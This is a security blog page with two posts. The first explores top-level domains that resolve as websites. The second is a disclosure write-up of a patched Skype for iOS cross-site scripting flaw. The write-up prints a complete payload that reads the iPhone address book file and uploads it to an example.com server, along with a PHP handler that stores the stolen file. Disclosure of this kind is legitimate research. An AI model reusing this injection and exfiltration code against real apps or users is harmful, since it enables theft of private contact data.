"I'm shocked a URL can look like this"

Here's something that I had never seen before: A Top-Level Domain being used as a hostname for a website.

ac
ac

It's actually a mirror of http://nic.ac/, but web browsers are able to access it at http://ac/ or http://ac./ The extra period is sometimes required to force a DNS lookup, but isn't required on subsequent requests.

These URL's all go to the same place:

  • http://ac/
  • http://ac./
  • http://ac.:80/
  • http://nic.ac/
  • http://nic.ac./
  • http://nic.ac.:80/
  • http://www.nic.ac/
  • http://www.nic.ac./
  • http://www.nic.ac.:80/
  • http://193.223.78.210

Let's look at what makes up a domain. A domain name consists of parts separated by periods. For a domain like www.example.com, com is the top-level domain and example is a sub-domain of that. The last part, www, is a sub-domain of example.com. Oh, and a hostname is a domain that points to an IP address, like 193.223.78.210.

There is a list of generic top-level domains such as GOV, EDU, COM, MIL, ORG, and NET. Many more top-level domains have been given out by ICANN (icann.org) for use by specific countries. That list can be found in the Root Zone Database (iana.org).

It's rare to see web sites hosted on a Top-Level Domain. In fact, there are currently 312 TLD's and only 17 of them resolve to an IP address.

AC - 193.223.78.210 AI - 209.59.119.34 CM - 195.24.205.60 DK - 193.163.102.24 GG - 87.117.196.80 IO - 193.223.78.212 JE - 87.117.196.80 PH - 203.119.4.7 PN - 80.68.93.100 SH - 193.223.78.211 TK - 217.119.57.22 TM - 193.223.78.213 TO - 216.74.32.107 UZ - 91.212.89.8 VI - 193.0.0.198 WS - 64.70.19.33 XN--O3CW4H - 203.146.249.130

Only 9 of those 17 domains with IP addresses are hosting a web server on port 80.

[gallery link="file"]

AC  AI  DK  IO  PN  SH  TM  UZ  WS

How can a URL look like this? I naturally asked myself if this could raise any security issues.

If there are XSS  vulnerabilities (Cross-Site Scripting) on a Top-Level domain, could it affect all of it's subdomains?

Could you use the XSS to grab records and spoof content on all xx.yy.ac subdomains?

Could you create a cookie on the ".ac" domain that is re-sent for all sub-domains for the ultimate ad-network cookie or session-fixation attack?

Fortunately, domain policies work the from left-to-right. For example, xx.yy.ac can set a cookie for .yy.ac, but not the other way around. Additionally, browser vendors collaborate (publicsuffix.org) on a list of domain name suffixes (mxr.mozilla.org), so they can set rules that restrict the way TLD's are used.

I have a feeling that a web server running on a TLD could mess with a browser/plugin/proxy filter somewhere and cause some security issues, but I couldn't find anything concrete. I'm hoping that this post will inspire security researchers to look into the risks that this brings, because the scope of the issue is about to explode!

ICANN has a new initiative (icann.org) that intends to add between 300 and 1,000 new TLD's. Organizations can apply to control their own generic TLD, like .coke or .pepsi.

Security researchers should take a look at this now before things get crazy.

Skype XSS Explained

Skype has fixed the security vulnerability I reported in Skype for iOS 3.01 with their 3.5.84 and subsequent 3.5.117 update. Now it's time to tell how it worked. There are several parts to the attack.

The Full Name field injection

This goes into a Skype users "Full Name" field, and will run in Skype for iOS when the message is read. The Full Name field is limited on space, and script tags don't work so I couldn't use <script src=...>. Instead, I used a redirect to pull in the JavaScript payload to run. The regex command "/j.*/" will return everything after the first j in the URL of m.location, which is going to be the URL of the iframe after all redirects. I saved more space by removing all quotes, and changing http:// to http: which is allowed in the version of the WebKit browser built into iOS. When it runs, m.location will look like this:

http://example.com/success.html?javascript:eval(unescape('$PAYLOAD'));open();


The URI Passthrugh with an Apache .htaccess file

RewriteRule ^r$ r.php

This allows the file name to be r instead of r.php, saving 4 characters
The PHP Redirect / Payload

<?php $XSS='x=new/**/XMLHttpRequest;x.open("get","file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb");\ x.overrideMimeType("text/plain; charset=x-user-defined");x.send();\ x.onreadystatechange=function(){if(x.readyState==4){a=x.responseText || ""; ff=[];mx=a.length;scc=String.fromCharCode;\ for(var z=0;z<mx;z++){ff[z]=scc(a.charCodeAt(z)&255);}b=ff.join("");b=btoa(b);\ xp=new/**/XMLHttpRequest,xp.open("post","http://example.com/upload.php",!0);\ xp.setRequestHeader("Content-Type","multipart/form-data;boundary=xxx,");\ a="--xxx\r\nContent-Disposition:form-data;name=\"media\";filename=\"ios.sqlitedb\"\r\nContent-Type:application/octet-stream\r\n\r\n"+b+"\r\n--xxx--";\ xp.send(a);\ }};'; $URL="http://example.com/success.html?javascript:eval(unescape('$XSS'));open();"; header("Location: $URL"); // Redirect Browser exit; ?>

By wrapping the JavaScript code with the unescape function, we remove the encoding that Apache automatically does on the URL during the redirect. The code then uses the XMLHttpRequest API to grab the iPhone AddressBook file. A second XMLHttpRequest is made to send the file back to a file on my server built to retrieve the file.
The File Upload Handler

<?php $default_path = "/srv/www/public_html/"; $filename=$_FILES['media']['name']; $tmpfilename=$_FILES['media']['tmp_name']; $target_path = $default_path .'/'.time()."-".$filename;
if (is_uploaded_file($tmpfilename)){ if ($filePointer = fopen($tmpfilename, "rb")){ $fileData = fread($filePointer, filesize($tmpfilename)); $decodedData = (base64_decode($fileData)); fclose($filePointer); } }
if ($filePointer = fopen($target_path, "wb+")){ // Process the contents of the uploaded file here... fwrite($filePointer,$decodedData); fclose($filePointer); } ?>

Since the file is base64 encoded on the way up, we use the base64_decode function on the way down.